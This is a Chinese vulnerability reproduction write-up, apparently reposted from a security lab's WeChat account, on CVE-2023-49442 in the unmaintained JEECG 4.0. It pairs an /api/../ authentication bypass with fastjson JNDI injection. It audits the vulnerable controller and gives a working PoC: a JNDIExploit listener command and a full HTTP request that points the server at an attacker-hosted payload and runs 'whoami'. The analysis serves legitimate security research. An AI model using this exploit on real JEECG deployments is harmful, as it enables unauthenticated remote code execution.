1. 漏洞介绍
JEECG(J2EE Code Generation)
是开源的代码生成平台,目前官方已停止维护。JEECG 4.0
及之前版本中,由于/api
接口鉴权时未过滤路径遍历,攻击者可构造包含 ../
的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest
接口进行jndi
注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。Jeccg
官方地址为:https://gitee.com/jeecg/jeecg
2. 漏洞流程图分析
3. 环境搭建
由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用IDEA+Maven
搭建,但是始终飘红报错,于是老老实实地按照官方文档使用eclipse+Maven
环境搭建,我的本地配置如下:
官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933
- • 最新版
eclipse
- •
apache-maven-3.1.1-bin
- •
JDK1.8_102
(这里有个坑就是jdk1.8不能与tomcat6兼容,我们运行时候要使用tomcat7:run
的命令) - •
Mysql5.7
- •
Kali
虚拟机(充当vps的功能)
4. 漏洞详情分析
由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是1.2.31
,是属于存在漏洞的版本。
感觉Eclipse
审计起来不太方便,我使用IDEA
来代替使用来审计。
现在我们已确定了Fastjson
版本存在问题,进一步寻找触发Fastjson
的漏洞点。
在审计Fastjson
漏洞的时候我们着重关注parseObject
和parse
这两个关键词
。我们在IDEA
中按下Ctrl+shift+f
进行查找:
发现调用了JSONObject.parseObject(result)
,发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java
文件中进行了调用。分别是函数sendGet(String url, String param)
以及sendPost(String url, String param)
。
然后继续寻找在哪里调用了这两个函数:
同样的方法,发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java
中调用了这两个函数:
/**
* 常用示例Demo:接口测试
*
@param
request
*
@param
response
*
@return
AjaxJson
*/
@RequestMapping
(
params
=
"interfaceTest"
)
@ResponseBody
public
AjaxJson
testInterface
(
HttpServletRequest
request
,
HttpServletResponse
response
)
{
AjaxJson
j
=
new
AjaxJson
();
try
{
String
serverUrl
=
request
.
getParameter
(
"serverUrl"
);
//请求的地址
String
requestBody
=
request
.
getParameter
(
"requestBody"
);
//请求的参数
String
requestMethod
=
request
.
getParameter
(
"requestMethod"
);
//请求的方式
if
(
requestMethod
.
equals
(
"POST"
)){
if
(
requestBody
!=
""
){
logger
.
info
(
"----请求接口开始-----"
);
JSONObject
sendPost
=
HttpRequest
.
sendPost
(
serverUrl
,
requestBody
);
logger
.
info
(
"----请求接口结束-----"
+
sendPost
);
j
.
setSuccess
(
true
);
j
.
setObj
(
sendPost
.
toJSONString
());
}
else
{
j
.
setSuccess
(
false
);
j
.
setObj
(
"请填写请求参数"
);
}
}
if
(
requestMethod
.
equals
(
"GET"
)){
logger
.
info
(
"----请求接口开始-----"
);
JSONObject
sendGet
=
HttpRequest
.
sendGet
(
serverUrl
,
requestBody
);
logger
.
info
(
"----请求接口结束-----"
+
sendGet
.
toJSONString
());
j
.
setSuccess
(
true
);
j
.
setObj
(
sendGet
);
}
}
catch
(
Exception
e
)
{
j
.
setSuccess
(
false
);
j
.
setObj
(
"服务器请求失败"
);
e
.
printStackTrace
();
}
return
j
;
}
这段代码接受三个参数:serverUrl
、requestBody
、requestMethod
。然后根据requestMethod
的值决定调用不同的方法:HttpRequest.sendPost
或 HttpRequest.sendGet
。
我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法bypass
:
然后我们根据漏洞简介定位/api
未鉴权接口代码:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java
也就是说对于以 /api/
开头的请求路径,即使用户未登录,也会被允许访问,不会被拦截器拦截。
加上我们查看引用的Maven依赖
中的alwaysUseFullPath
为值默认false
,这样的话程序在处理发包中会对uri
进行标准化处理。于是我们就可以使用/api/../
的方式来进行bypass
比如说我们的poc
链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest=
然后进行标准化处理后就会变成/jeecg/jeecgFormDemoController.do?interfaceTest=
从而绕过登录限制。
然后就是针对fastjson1.2.31
版本的漏洞利用了,这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT
利用方法就是先在我们的Kali
虚拟机(vps作用)上开启监听:
这里因为我的虚拟机上的java
版本过高,Java 9及以上版本引入了模块化系统,其中的java.xml
模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime
包,因此导致com.feihong.ldap.template.TomcatEchoTemplate
类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类。所以通过命令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED
来向模块java.xml
添加导出指令,使得com.sun.org.apache.xalan.internal.xsltc.runtime
包能够被未命名模块(ALL-UNNAMED
)访问。
java
--
add
-
exports java
.
xml
/
com
.
sun
.
org
.
apache
.
xalan
.
internal
.
xsltc
.
runtime
=
ALL
-
UNNAMED
-
jar
JNDIExploit
-
1.4
-
SNAPSHOT
.
jar
-
i
192.168
.
16.131
然后用python
公开一个poc.txt
然后直接调用该接口使用下面的Poc
即可:
POST
/
jeecg
/
api
/../
jeecgFormDemoController
.
do
?
interfaceTest
=
HTTP
/
1.1
Host
:
127.0
.
0.1
:
8081
Pragma
:
no
-
cache
Cache
-
Control
:
no
-
cache
Upgrade
-
Insecure
-
Requests
:
1
Accept
-
Encoding
:
gzip
,
deflate
,
br
Accept
-
Language
:
zh
-
CN
,
zh
;
q
=
0.9
Connection
:
close
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
cmd
:
whoami
serverUrl
=
http
:
//
192.168.16.131:8081
/poc.txt&requestBody=
123
&requestMethod=GET
5. 总结
一开始准备复现这个漏洞是以为JEECG-BOOT
爆这么大的前台RCE
漏洞了,后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松,主要是老版本的环境Debug
问题,通过本漏洞的复现学习,对fastjson漏洞
和alwaysUseFullPath绕过鉴权漏洞
有了更多的体会。
原文始发于微信公众号(合天网安实验室):CVE-2023-49442 利用分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论